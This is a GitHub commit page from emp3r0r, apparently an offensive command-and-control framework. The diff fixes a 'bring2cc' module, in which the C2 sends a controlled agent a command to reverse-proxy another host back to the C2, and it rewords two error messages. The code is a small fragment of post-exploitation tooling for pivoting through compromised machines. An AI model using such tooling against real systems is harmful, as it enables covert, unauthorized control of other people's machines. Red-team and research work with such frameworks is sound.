Skip to content

Commit

Permalink
fix: bring2cc accidentally disabled
Browse files Browse the repository at this point in the history
  • Loading branch information
jm33-m0 committed Dec 30, 2024
1 parent 02dd533 commit ec11524
Show file tree
Hide file tree
Showing 3 changed files with 14 additions and 5 deletions.
2 changes: 1 addition & 1 deletion core/lib/agent/c2cmds.go
Original file line number Diff line number Diff line change
Expand Up @@ -60,7 +60,7 @@ func C2CommandsHandler(cmdSlice []string) (out string) {
addr := flags.StringP("addr", "a", "", "Target agent IP address")
flags.Parse(cmdSlice[1:])
if *addr == "" {
out = fmt.Sprintf("Error args error: %v", cmdSlice)
out = fmt.Sprintf("Error no address: %v", cmdSlice)
return
}
out = fmt.Sprintf("Bring2CC: Reverse proxy for %s finished", *addr)
Expand Down
15 changes: 12 additions & 3 deletions core/lib/cc/modRproxy.go
Original file line number Diff line number Diff line change
Expand Up @@ -3,10 +3,19 @@

package cc

func moduleBring2CC() {
addr := Options["addr"].Val
import (
"fmt"

// start a Shadowsocks TCP tunnel that forwards our local socks5 proxy server to the target's AutoProxy port
emp3r0r_data "github.com/jm33-m0/emp3r0r/core/lib/data"
)

func moduleBring2CC() {
addr := Options["addr"].Val
cmd := fmt.Sprintf("%s --addr %s", emp3r0r_data.C2CmdBring2CC, addr)
err := SendCmd(cmd, "", CurrentTarget)
if err != nil {
CliPrintError("SendCmd: %v", err)
return
}
CliPrintInfo("agent %s is connecting to %s to proxy it out to C2", CurrentTarget.Tag, addr)
}
2 changes: 1 addition & 1 deletion core/lib/data/config.go
Original file line number Diff line number Diff line change
Expand Up @@ -17,7 +17,7 @@ func ReadJSONConfig(jsonData []byte, config_to_write *Config) (err error) {
calculateReverseProxyPort := func() string {
p, err := strconv.Atoi(config_to_write.Emp3r0rProxyServerPort)
if err != nil {
log.Printf("WTF? ProxyPort %s: %v", config_to_write.Emp3r0rProxyServerPort, err)
log.Printf("WTF? Emp3r0rProxyPort %s: %v. Invalid JSON config, perhaps start over with a new config file?", config_to_write.Emp3r0rProxyServerPort, err)
return "22222"
}

Expand Down

0 comments on commit ec11524

Please sign in to comment.